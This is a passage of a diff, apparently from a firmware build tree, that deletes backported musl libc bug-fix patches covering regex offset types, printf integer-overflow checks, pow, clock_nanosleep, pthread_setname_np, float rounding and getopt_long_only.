-@@ -191,10 +191,10 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
-   int *tag_i;
-   int num_tags, i;
- 
--  int match_eo = -1;	   /* end offset of match (-1 if no match found yet) */
-+  regoff_t match_eo = -1;	   /* end offset of match (-1 if no match found yet) */
-   int new_match = 0;
--  int *tmp_tags = NULL;
--  int *tmp_iptr;
-+  regoff_t *tmp_tags = NULL;
-+  regoff_t *tmp_iptr;
- 
- #ifdef TRE_MBSTATE
-   memset(&mbstate, '\0', sizeof(mbstate));
-@@ -214,7 +214,7 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
- 
-     /* Ensure that tbytes and xbytes*num_states cannot overflow, and that
-      * they don't contribute more than 1/8 of SIZE_MAX to total_bytes. */
--    if (num_tags > SIZE_MAX/(8 * sizeof(int) * tnfa->num_states))
-+    if (num_tags > SIZE_MAX/(8 * sizeof(regoff_t) * tnfa->num_states))
-       goto error_exit;
- 
-     /* Likewise check rbytes. */
-@@ -229,7 +229,7 @@ tre_tnfa_run_parallel(const tre_tnfa_t *tnfa, const void *string,
-     tbytes = sizeof(*tmp_tags) * num_tags;
-     rbytes = sizeof(*reach_next) * (tnfa->num_states + 1);
-     pbytes = sizeof(*reach_pos) * tnfa->num_states;
--    xbytes = sizeof(int) * num_tags;
-+    xbytes = sizeof(regoff_t) * num_tags;
-     total_bytes =
-       (sizeof(long) - 1) * 4 /* for alignment paddings */
-       + (rbytes + xbytes * tnfa->num_states) * 2 + tbytes + pbytes;
-@@ -490,12 +490,12 @@ error_exit:
- */
- 
- typedef struct {
--  int pos;
-+  regoff_t pos;
-   const char *str_byte;
-   tre_tnfa_transition_t *state;
-   int state_id;
-   int next_c;
--  int *tags;
-+  regoff_t *tags;
- #ifdef TRE_MBSTATE
-   mbstate_t mbstate;
- #endif /* TRE_MBSTATE */
-@@ -591,13 +591,13 @@ typedef struct tre_backtrack_struct {
- 
- static reg_errcode_t
- tre_tnfa_run_backtrack(const tre_tnfa_t *tnfa, const void *string,
--		       int *match_tags, int eflags, int *match_end_ofs)
-+		       regoff_t *match_tags, int eflags, regoff_t *match_end_ofs)
- {
-   /* State variables required by GET_NEXT_WCHAR. */
-   tre_char_t prev_c = 0, next_c = 0;
-   const char *str_byte = string;
--  int pos = 0;
--  int pos_add_next = 1;
-+  regoff_t pos = 0;
-+  regoff_t pos_add_next = 1;
- #ifdef TRE_MBSTATE
-   mbstate_t mbstate;
- #endif /* TRE_MBSTATE */
-@@ -610,15 +610,16 @@ tre_tnfa_run_backtrack(const tre_tnfa_t *tnfa, const void *string,
-      started from. */
-   int next_c_start;
-   const char *str_byte_start;
--  int pos_start = -1;
-+  regoff_t pos_start = -1;
- #ifdef TRE_MBSTATE
-   mbstate_t mbstate_start;
- #endif /* TRE_MBSTATE */
- 
-   /* End offset of best match so far, or -1 if no match found yet. */
--  int match_eo = -1;
-+  regoff_t match_eo = -1;
-   /* Tag arrays. */
--  int *next_tags, *tags = NULL;
-+  int *next_tags;
-+  regoff_t *tags = NULL;
-   /* Current TNFA state. */
-   tre_tnfa_transition_t *state;
-   int *states_seen = NULL;
-@@ -768,8 +769,9 @@ tre_tnfa_run_backtrack(const tre_tnfa_t *tnfa, const void *string,
- 	  /* This is a back reference state.  All transitions leaving from
- 	     this state have the same back reference "assertion".  Instead
- 	     of reading the next character, we match the back reference. */
--	  int so, eo, bt = trans_i->u.backref;
--	  int bt_len;
-+	  regoff_t so, eo;
-+	  int bt = trans_i->u.backref;
-+	  regoff_t bt_len;
- 	  int result;
- 
- 	  /* Get the substring we need to match against.  Remember to
-@@ -926,7 +928,7 @@ tre_tnfa_run_backtrack(const tre_tnfa_t *tnfa, const void *string,
-    endpoint values. */
- static void
- tre_fill_pmatch(size_t nmatch, regmatch_t pmatch[], int cflags,
--		const tre_tnfa_t *tnfa, int *tags, int match_eo)
-+		const tre_tnfa_t *tnfa, regoff_t *tags, regoff_t match_eo)
- {
-   tre_submatch_data_t *submatch_data;
-   unsigned int i, j;
-@@ -996,7 +998,7 @@ regexec(const regex_t *restrict preg, const char *restrict string,
- {
-   tre_tnfa_t *tnfa = (void *)preg->TRE_REGEX_T_FIELD;
-   reg_errcode_t status;
--  int *tags = NULL, eo;
-+  regoff_t *tags = NULL, eo;
-   if (tnfa->cflags & REG_NOSUB) nmatch = 0;
-   if (tnfa->num_tags > 0 && nmatch > 0)
-     {
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/039-fix-integer-overflow-in-float-printf-needed-precision-computation.patch b/toolchain/musl/patches/039-fix-integer-overflow-in-float-printf-needed-precision-computation.patch
deleted file mode 100644
index cfbd94f9a4..0000000000
--- a/toolchain/musl/patches/039-fix-integer-overflow-in-float-printf-needed-precision-computation.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 70d2687d85c314963cf280759b23fd4573ff0d82 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Wed, 19 Oct 2016 20:17:16 -0400
-Subject: fix integer overflow in float printf needed-precision computation
-
-if the requested precision is close to INT_MAX, adding
-LDBL_MANT_DIG/3+8 overflows. in practice the resulting undefined
-behavior manifests as a large negative result, which is then used to
-compute the new end pointer (z) with a wildly out-of-bounds value
-(more overflow, more undefined behavior). the end result is at least
-incorrect output and character count (return value); worse things do
-not seem to happen, but detailed analysis has not been done.
-
-this patch fixes the overflow by performing the intermediate
-computation as unsigned; after division by 9, the final result
-necessarily fits in int.
----
- src/stdio/vfprintf.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/stdio/vfprintf.c b/src/stdio/vfprintf.c
-index e439a07..cd17ad7 100644
---- a/src/stdio/vfprintf.c
-+++ b/src/stdio/vfprintf.c
-@@ -312,7 +312,7 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 	}
- 	while (e2<0) {
- 		uint32_t carry=0, *b;
--		int sh=MIN(9,-e2), need=1+(p+LDBL_MANT_DIG/3+8)/9;
-+		int sh=MIN(9,-e2), need=1+(p+LDBL_MANT_DIG/3U+8)/9;
- 		for (d=a; d<z; d++) {
- 			uint32_t rm = *d & (1<<sh)-1;
- 			*d = (*d>>sh) + carry;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/040-fix-integer-overflows-and-uncaught-eoverflow-in-printf-core.patch b/toolchain/musl/patches/040-fix-integer-overflows-and-uncaught-eoverflow-in-printf-core.patch
deleted file mode 100644
index 837fee9181..0000000000
--- a/toolchain/musl/patches/040-fix-integer-overflows-and-uncaught-eoverflow-in-printf-core.patch
+++ /dev/null
@@ -1,390 +0,0 @@
-From 167dfe9672c116b315e72e57a55c7769f180dffa Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 20 Oct 2016 00:22:09 -0400
-Subject: fix integer overflows and uncaught EOVERFLOW in printf core
-
-this patch fixes a large number of missed internal signed-overflow
-checks and errors in determining when the return value (output length)
-would exceed INT_MAX, which should result in EOVERFLOW. some of the
-issues fixed were reported by Alexander Cherepanov; others were found
-in subsequent review of the code.
-
-aside from the signed overflows being undefined behavior, the
-following specific bugs were found to exist in practice:
-
-- overflows computing length of floating point formats with huge
-  explicit precisions, integer formats with prefix characters and huge
-  explicit precisions, or string arguments or format strings longer
-  than INT_MAX, resulted in wrong return value and wrong %n results.
-
-- literal width and precision values outside the range of int were
-  misinterpreted, yielding wrong behavior in at least one well-defined
-  case: string formats with precision greater than INT_MAX were
-  sometimes truncated.
-
-- in cases where EOVERFLOW is produced, incorrect values could be
-  written for %n specifiers past the point of exceeding INT_MAX.
-
-in addition to fixing these bugs, we now stop producing output
-immediately when output length would exceed INT_MAX, rather than
-continuing and returning an error only at the end.
----
- src/stdio/vfprintf.c  | 72 +++++++++++++++++++++++++++++++++++----------------
- src/stdio/vfwprintf.c | 63 +++++++++++++++++++++++++++-----------------
- 2 files changed, 89 insertions(+), 46 deletions(-)
-
-diff --git a/src/stdio/vfprintf.c b/src/stdio/vfprintf.c
-index cd17ad7..e2ab2dc 100644
---- a/src/stdio/vfprintf.c
-+++ b/src/stdio/vfprintf.c
-@@ -272,6 +272,8 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 			if (s-buf==1 && (y||p>0||(fl&ALT_FORM))) *s++='.';
- 		} while (y);
- 
-+		if (p > INT_MAX-2-(ebuf-estr)-pl)
-+			return -1;
- 		if (p && s-buf-2 < p)
- 			l = (p+2) + (ebuf-estr);
- 		else
-@@ -383,17 +385,22 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 				p = MIN(p,MAX(0,9*(z-r-1)+e-j));
- 		}
- 	}
-+	if (p > INT_MAX-1-(p || (fl&ALT_FORM)))
-+		return -1;
- 	l = 1 + p + (p || (fl&ALT_FORM));
- 	if ((t|32)=='f') {
-+		if (e > INT_MAX-l) return -1;
- 		if (e>0) l+=e;
- 	} else {
- 		estr=fmt_u(e<0 ? -e : e, ebuf);
- 		while(ebuf-estr<2) *--estr='0';
- 		*--estr = (e<0 ? '-' : '+');
- 		*--estr = t;
-+		if (ebuf-estr > INT_MAX-l) return -1;
- 		l += ebuf-estr;
- 	}
- 
-+	if (l > INT_MAX-pl) return -1;
- 	pad(f, ' ', w, pl+l, fl);
- 	out(f, prefix, pl);
- 	pad(f, '0', w, pl+l, fl^ZERO_PAD);
-@@ -437,8 +444,10 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 
- static int getint(char **s) {
- 	int i;
--	for (i=0; isdigit(**s); (*s)++)
--		i = 10*i + (**s-'0');
-+	for (i=0; isdigit(**s); (*s)++) {
-+		if (i > INT_MAX/10U || **s-'0' > INT_MAX-10*i) i = -1;
-+		else i = 10*i + (**s-'0');
-+	}
- 	return i;
- }
- 
-@@ -446,12 +455,12 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- {
- 	char *a, *z, *s=(char *)fmt;
- 	unsigned l10n=0, fl;
--	int w, p;
-+	int w, p, xp;
- 	union arg arg;
- 	int argpos;
- 	unsigned st, ps;
- 	int cnt=0, l=0;
--	int i;
-+	size_t i;
- 	char buf[sizeof(uintmax_t)*3+3+LDBL_MANT_DIG/4];
- 	const char *prefix;
- 	int t, pl;
-@@ -459,18 +468,19 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 	char mb[4];
- 
- 	for (;;) {
-+		/* This error is only specified for snprintf, but since it's
-+		 * unspecified for other forms, do the same. Stop immediately
-+		 * on overflow; otherwise %n could produce wrong results. */
-+		if (l > INT_MAX - cnt) goto overflow;
-+
- 		/* Update output count, end loop when fmt is exhausted */
--		if (cnt >= 0) {
--			if (l > INT_MAX - cnt) {
--				errno = EOVERFLOW;
--				cnt = -1;
--			} else cnt += l;
--		}
-+		cnt += l;
- 		if (!*s) break;
- 
- 		/* Handle literal text and %% format specifiers */
- 		for (a=s; *s && *s!='%'; s++);
- 		for (z=s; s[0]=='%' && s[1]=='%'; z++, s+=2);
-+		if (z-a > INT_MAX-cnt) goto overflow;
- 		l = z-a;
- 		if (f) out(f, a, l);
- 		if (l) continue;
-@@ -498,9 +508,9 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			} else if (!l10n) {
- 				w = f ? va_arg(*ap, int) : 0;
- 				s++;
--			} else return -1;
-+			} else goto inval;
- 			if (w<0) fl|=LEFT_ADJ, w=-w;
--		} else if ((w=getint(&s))<0) return -1;
-+		} else if ((w=getint(&s))<0) goto overflow;
- 
- 		/* Read precision */
- 		if (*s=='.' && s[1]=='*') {
-@@ -511,24 +521,29 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			} else if (!l10n) {
- 				p = f ? va_arg(*ap, int) : 0;
- 				s+=2;
--			} else return -1;
-+			} else goto inval;
-+			xp = (p>=0);
- 		} else if (*s=='.') {
- 			s++;
- 			p = getint(&s);
--		} else p = -1;
-+			xp = 1;
-+		} else {
-+			p = -1;
-+			xp = 0;
-+		}
- 
- 		/* Format specifier state machine */
- 		st=0;
- 		do {
--			if (OOB(*s)) return -1;
-+			if (OOB(*s)) goto inval;
- 			ps=st;
- 			st=states[st]S(*s++);
- 		} while (st-1<STOP);
--		if (!st) return -1;
-+		if (!st) goto inval;
- 
- 		/* Check validity of argument type (nl/normal) */
- 		if (st==NOARG) {
--			if (argpos>=0) return -1;
-+			if (argpos>=0) goto inval;
- 		} else {
- 			if (argpos>=0) nl_type[argpos]=st, arg=nl_arg[argpos];
- 			else if (f) pop_arg(&arg, st, ap);
-@@ -584,6 +599,7 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 		case 'u':
- 			a = fmt_u(arg.i, z);
- 			}
-+			if (xp && p<0) goto overflow;
- 			if (p>=0) fl &= ~ZERO_PAD;
- 			if (!arg.i && !p) {
- 				a=z;
-@@ -599,9 +615,9 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			if (1) a = strerror(errno); else
- 		case 's':
- 			a = arg.p ? arg.p : "(null)";
--			z = memchr(a, 0, p);
--			if (!z) z=a+p;
--			else p=z-a;
-+			z = a + strnlen(a, p<0 ? INT_MAX : p);
-+			if (p<0 && *z) goto overflow;
-+			p = z-a;
- 			fl &= ~ZERO_PAD;
- 			break;
- 		case 'C':
-@@ -611,8 +627,9 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			p = -1;
- 		case 'S':
- 			ws = arg.p;
--			for (i=l=0; i<0U+p && *ws && (l=wctomb(mb, *ws++))>=0 && l<=0U+p-i; i+=l);
-+			for (i=l=0; i<p && *ws && (l=wctomb(mb, *ws++))>=0 && l<=p-i; i+=l);
- 			if (l<0) return -1;
-+			if (i > INT_MAX) goto overflow;
- 			p = i;
- 			pad(f, ' ', w, p, fl);
- 			ws = arg.p;
-@@ -623,12 +640,16 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			continue;
- 		case 'e': case 'f': case 'g': case 'a':
- 		case 'E': case 'F': case 'G': case 'A':
-+			if (xp && p<0) goto overflow;
- 			l = fmt_fp(f, arg.f, w, p, fl, t);
-+			if (l<0) goto overflow;
- 			continue;
- 		}
- 
- 		if (p < z-a) p = z-a;
-+		if (p > INT_MAX-pl) goto overflow;
- 		if (w < pl+p) w = pl+p;
-+		if (w > INT_MAX-cnt) goto overflow;
- 
- 		pad(f, ' ', w, pl+p, fl);
- 		out(f, prefix, pl);
-@@ -646,8 +667,15 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 	for (i=1; i<=NL_ARGMAX && nl_type[i]; i++)
- 		pop_arg(nl_arg+i, nl_type[i], ap);
- 	for (; i<=NL_ARGMAX && !nl_type[i]; i++);
--	if (i<=NL_ARGMAX) return -1;
-+	if (i<=NL_ARGMAX) goto inval;
- 	return 1;
-+
-+inval:
-+	errno = EINVAL;
-+	return -1;
-+overflow:
-+	errno = EOVERFLOW;
-+	return -1;
- }
- 
- int vfprintf(FILE *restrict f, const char *restrict fmt, va_list ap)
-diff --git a/src/stdio/vfwprintf.c b/src/stdio/vfwprintf.c
-index f9f1ecf..b8fff20 100644
---- a/src/stdio/vfwprintf.c
-+++ b/src/stdio/vfwprintf.c
-@@ -154,8 +154,10 @@ static void out(FILE *f, const wchar_t *s, size_t l)
- 
- static int getint(wchar_t **s) {
- 	int i;
--	for (i=0; iswdigit(**s); (*s)++)
--		i = 10*i + (**s-'0');
-+	for (i=0; iswdigit(**s); (*s)++) {
-+		if (i > INT_MAX/10U || **s-'0' > INT_MAX-10*i) i = -1;
-+		else i = 10*i + (**s-'0');
-+	}
- 	return i;
- }
- 
-@@ -168,8 +170,8 @@ static const char sizeprefix['y'-'a'] = {
- static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_arg, int *nl_type)
- {
- 	wchar_t *a, *z, *s=(wchar_t *)fmt;
--	unsigned l10n=0, litpct, fl;
--	int w, p;
-+	unsigned l10n=0, fl;
-+	int w, p, xp;
- 	union arg arg;
- 	int argpos;
- 	unsigned st, ps;
-@@ -181,20 +183,19 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 	wchar_t wc;
- 
- 	for (;;) {
-+		/* This error is only specified for snprintf, but since it's
-+		 * unspecified for other forms, do the same. Stop immediately
-+		 * on overflow; otherwise %n could produce wrong results. */
-+		if (l > INT_MAX - cnt) goto overflow;
-+
- 		/* Update output count, end loop when fmt is exhausted */
--		if (cnt >= 0) {
--			if (l > INT_MAX - cnt) {
--				if (!ferror(f)) errno = EOVERFLOW;
--				cnt = -1;
--			} else cnt += l;
--		}
-+		cnt += l;
- 		if (!*s) break;
- 
- 		/* Handle literal text and %% format specifiers */
- 		for (a=s; *s && *s!='%'; s++);
--		litpct = wcsspn(s, L"%")/2; /* Optimize %%%% runs */
--		z = s+litpct;
--		s += 2*litpct;
-+		for (z=s; s[0]=='%' && s[1]=='%'; z++, s+=2);
-+		if (z-a > INT_MAX-cnt) goto overflow;
- 		l = z-a;
- 		if (f) out(f, a, l);
- 		if (l) continue;
-@@ -222,9 +223,9 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 			} else if (!l10n) {
- 				w = f ? va_arg(*ap, int) : 0;
- 				s++;
--			} else return -1;
-+			} else goto inval;
- 			if (w<0) fl|=LEFT_ADJ, w=-w;
--		} else if ((w=getint(&s))<0) return -1;
-+		} else if ((w=getint(&s))<0) goto overflow;
- 
- 		/* Read precision */
- 		if (*s=='.' && s[1]=='*') {
-@@ -235,24 +236,29 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 			} else if (!l10n) {
- 				p = f ? va_arg(*ap, int) : 0;
- 				s+=2;
--			} else return -1;
-+			} else goto inval;
-+			xp = (p>=0);
- 		} else if (*s=='.') {
- 			s++;
- 			p = getint(&s);
--		} else p = -1;
-+			xp = 1;
-+		} else {
-+			p = -1;
-+			xp = 0;
-+		}
- 
- 		/* Format specifier state machine */
- 		st=0;
- 		do {
--			if (OOB(*s)) return -1;
-+			if (OOB(*s)) goto inval;
- 			ps=st;
- 			st=states[st]S(*s++);
- 		} while (st-1<STOP);
--		if (!st) return -1;
-+		if (!st) goto inval;
- 
- 		/* Check validity of argument type (nl/normal) */
- 		if (st==NOARG) {
--			if (argpos>=0) return -1;
-+			if (argpos>=0) goto inval;
- 		} else {
- 			if (argpos>=0) nl_type[argpos]=st, arg=nl_arg[argpos];
- 			else if (f) pop_arg(&arg, st, ap);
-@@ -285,8 +291,9 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 			continue;
- 		case 'S':
- 			a = arg.p;
--			z = wmemchr(a, 0, p);
--			if (z) p=z-a;
-+			z = a + wcsnlen(a, p<0 ? INT_MAX : p);
-+			if (p<0 && *z) goto overflow;
-+			p = z-a;
- 			if (w<p) w=p;
- 			if (!(fl&LEFT_ADJ)) fprintf(f, "%*s", w-p, "");
- 			out(f, a, p);
-@@ -298,9 +305,9 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 		case 's':
- 			if (!arg.p) arg.p = "(null)";
- 			bs = arg.p;
--			if (p<0) p = INT_MAX;
--			for (i=l=0; l<p && (i=mbtowc(&wc, bs, MB_LEN_MAX))>0; bs+=i, l++);
-+			for (i=l=0; l<(p<0?INT_MAX:p) && (i=mbtowc(&wc, bs, MB_LEN_MAX))>0; bs+=i, l++);
- 			if (i<0) return -1;
-+			if (p<0 && *bs) goto overflow;
- 			p=l;
- 			if (w<p) w=p;
- 			if (!(fl&LEFT_ADJ)) fprintf(f, "%*s", w-p, "");
-@@ -315,6 +322,7 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 			continue;
- 		}
- 
-+		if (xp && p<0) goto overflow;
- 		snprintf(charfmt, sizeof charfmt, "%%%s%s%s%s%s*.*%c%c",
- 			"#"+!(fl & ALT_FORM),
- 			"+"+!(fl & MARK_POS),
-@@ -341,6 +349,13 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 	for (; i<=NL_ARGMAX && !nl_type[i]; i++);
- 	if (i<=NL_ARGMAX) return -1;
- 	return 1;
-+
-+inval:
-+	errno = EINVAL;
-+	return -1;
-+overflow:
-+	errno = EOVERFLOW;
-+	return -1;
- }
- 
- int vfwprintf(FILE *restrict f, const wchar_t *restrict fmt, va_list ap)
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/048-math-fix-pow-signed-shift-ub.patch b/toolchain/musl/patches/048-math-fix-pow-signed-shift-ub.patch
deleted file mode 100644
index fde857b213..0000000000
--- a/toolchain/musl/patches/048-math-fix-pow-signed-shift-ub.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 688d3da0f1730daddbc954bbc2d27cc96ceee04c Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Tue, 4 Oct 2016 03:58:56 +0200
-Subject: math: fix pow signed shift ub
-
-j is int32_t and thus j<<31 is undefined if j==1, so j is changed to
-uint32_t locally as a quick fix, the generated code is not affected.
-
-(this is a strict conformance fix, future c standard may allow 1<<31,
-see DR 463.  the bug was inherited from freebsd fdlibm, the proper fix
-is to use uint32_t for all bit hacks, but that requires more intrusive
-changes.)
-
-reported by Daniel Sabogal
----
- src/math/pow.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/math/pow.c b/src/math/pow.c
-index b66f632..3ddc1b6 100644
---- a/src/math/pow.c
-+++ b/src/math/pow.c
-@@ -125,11 +125,11 @@ double pow(double x, double y)
- 		else if (iy >= 0x3ff00000) {
- 			k = (iy>>20) - 0x3ff;  /* exponent */
- 			if (k > 20) {
--				j = ly>>(52-k);
-+				uint32_t j = ly>>(52-k);
- 				if ((j<<(52-k)) == ly)
- 					yisint = 2 - (j&1);
- 			} else if (ly == 0) {
--				j = iy>>(20-k);
-+				uint32_t j = iy>>(20-k);
- 				if ((j<<(20-k)) == iy)
- 					yisint = 2 - (j&1);
- 			}
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/049-fix-clock_nanosleep-error-case.patch b/toolchain/musl/patches/049-fix-clock_nanosleep-error-case.patch
deleted file mode 100644
index f57f7a65fb..0000000000
--- a/toolchain/musl/patches/049-fix-clock_nanosleep-error-case.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 3ca2d2d4aef910663785fe232d7d2127a22d8a84 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Sat, 17 Sep 2016 12:05:45 -0400
-Subject: fix clock_nanosleep error case
-
-posix requires that EINVAL be returned if the first parameter specifies
-the cpu-time clock of the calling thread (CLOCK_THREAD_CPUTIME_ID).
-linux returns ENOTSUP instead so we handle this.
----
- src/time/clock_nanosleep.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/src/time/clock_nanosleep.c b/src/time/clock_nanosleep.c
-index ec87b9e..9e4d9f1 100644
---- a/src/time/clock_nanosleep.c
-+++ b/src/time/clock_nanosleep.c
-@@ -1,8 +1,10 @@
- #include <time.h>
-+#include <errno.h>
- #include "syscall.h"
- #include "libc.h"
- 
- int clock_nanosleep(clockid_t clk, int flags, const struct timespec *req, struct timespec *rem)
- {
--	return -__syscall_cp(SYS_clock_nanosleep, clk, flags, req, rem);
-+	int r = -__syscall_cp(SYS_clock_nanosleep, clk, flags, req, rem);
-+	return clk == CLOCK_THREAD_CPUTIME_ID ? EINVAL : r;
- }
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/050-add-pthread_setname_np.patch b/toolchain/musl/patches/050-add-pthread_setname_np.patch
deleted file mode 100644
index 9d641a296b..0000000000
--- a/toolchain/musl/patches/050-add-pthread_setname_np.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 8fb28b0b3e7a5e958fb844722a4b2ef9bc244af1 Mon Sep 17 00:00:00 2001
-From: Felix Janda <felix.janda at posteo.de>
-Date: Fri, 16 Sep 2016 20:54:00 -0400
-Subject: add pthread_setname_np
-
-the thread name is displayed by gdb's "info threads".
----
- include/pthread.h               |  1 +
- src/thread/pthread_setname_np.c | 26 ++++++++++++++++++++++++++
- 2 files changed, 27 insertions(+)
- create mode 100644 src/thread/pthread_setname_np.c
-
-diff --git a/include/pthread.h b/include/pthread.h
-index 3d2e0c4..94ef919 100644
---- a/include/pthread.h
-+++ b/include/pthread.h
-@@ -214,6 +214,7 @@ struct cpu_set_t;
- int pthread_getaffinity_np(pthread_t, size_t, struct cpu_set_t *);
- int pthread_setaffinity_np(pthread_t, size_t, const struct cpu_set_t *);
- int pthread_getattr_np(pthread_t, pthread_attr_t *);
-+int pthread_setname_np(pthread_t, const char *);
- int pthread_tryjoin_np(pthread_t, void **);
- int pthread_timedjoin_np(pthread_t, void **, const struct timespec *);
- #endif
-diff --git a/src/thread/pthread_setname_np.c b/src/thread/pthread_setname_np.c
-new file mode 100644
-index 0000000..82d35e1
---- /dev/null
-+++ b/src/thread/pthread_setname_np.c
-@@ -0,0 +1,26 @@
-+#define _GNU_SOURCE
-+#include <fcntl.h>
-+#include <string.h>
-+#include <unistd.h>
-+#include <sys/prctl.h>
-+
-+#include "pthread_impl.h"
-+
-+int pthread_setname_np(pthread_t thread, const char *name)
-+{
-+	int fd, cs, status = 0;
-+	char f[sizeof "/proc/self/task//comm" + 3*sizeof(int)];
-+	size_t len;
-+
-+	if ((len = strnlen(name, 16)) > 15) return ERANGE;
-+
-+	if (thread == pthread_self())
-+		return prctl(PR_SET_NAME, (unsigned long)name, 0UL, 0UL, 0UL) ? errno : 0;
-+
-+	snprintf(f, sizeof f, "/proc/self/task/%d/comm", thread->tid);
-+	pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &cs);
-+	if ((fd = open(f, O_WRONLY)) < 0 || write(fd, name, len) < 0) status = errno;
-+	if (fd >= 0) close(fd);
-+	pthread_setcancelstate(cs, 0);
-+	return status;
-+}
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/051-fix-float-formatting-of-some-exact-halfway-cases.patch b/toolchain/musl/patches/051-fix-float-formatting-of-some-exact-halfway-cases.patch
deleted file mode 100644
index d01a163ce2..0000000000
--- a/toolchain/musl/patches/051-fix-float-formatting-of-some-exact-halfway-cases.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 51ab6db4ed115d079d7131975e4adb074ba9ef9d Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Wed, 12 Oct 2016 00:49:59 +0200
-Subject: fix float formatting of some exact halfway cases
-
-in nearest rounding mode exact halfway cases were not following the
-round to even rule if the rounding happened at a base 1000000000 digit
-boundary of the internal representation and the previous digit was odd.
-
-e.g. printf("%.0f", 1.5) printed 1 instead of 2.
----
- src/stdio/vfprintf.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/stdio/vfprintf.c b/src/stdio/vfprintf.c
-index e2ab2dc..60da14d 100644
---- a/src/stdio/vfprintf.c
-+++ b/src/stdio/vfprintf.c
-@@ -345,7 +345,8 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 		if (x || d+1!=z) {
- 			long double round = 2/LDBL_EPSILON;
- 			long double small;
--			if (*d/i & 1) round += 2;
-+			if ((*d/i & 1) || (i==1000000000 && d>a && (d[-1]&1)))
-+				round += 2;
- 			if (x<i/2) small=0x0.8p0;
- 			else if (x==i/2 && d+1==z) small=0x1.0p0;
- 			else small=0x1.8p0;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/052-fix-getopt_long_only-misinterpreting-as-an-option.patch b/toolchain/musl/patches/052-fix-getopt_long_only-misinterpreting-as-an-option.patch
deleted file mode 100644
index 651d58e955..0000000000
--- a/toolchain/musl/patches/052-fix-getopt_long_only-misinterpreting-as-an-option.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From b24f1d2520c87077cef21e085893e5f3c565a6df Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 20 Oct 2016 12:13:33 -0400
-Subject: fix getopt_long_only misinterpreting "--" as an option
-
----
- src/misc/getopt_long.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/misc/getopt_long.c b/src/misc/getopt_long.c
-index 480c001..c6e1462 100644
---- a/src/misc/getopt_long.c
-+++ b/src/misc/getopt_long.c
-@@ -53,7 +53,7 @@ static int __getopt_long_core(int argc, char *const *argv, const char *optstring
- {
- 	optarg = 0;
- 	if (longopts && argv[optind][0] == '-' &&
--		((longonly && argv[optind][1]) ||
-+		((longonly && argv[optind][1] && argv[optind][1] != '-') ||
- 		 (argv[optind][1] == '-' && argv[optind][2])))
- 	{
- 		int colon = optstring[optstring[0]=='+'||optstring[0]=='-']==':';
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/053-fix-gratuitous-undefined-behavior-in-strptime.patch b/toolchain/musl/patches/053-fix-gratuitous-undefined-behavior-in-strptime.patch
deleted file mode 100644
index 46920bccfb..0000000000
--- a/toolchain/musl/patches/053-fix-gratuitous-undefined-behavior-in-strptime.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From f33b17585058381491e6fda08f491b8e48c7980c Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 20 Oct 2016 13:22:20 -0400
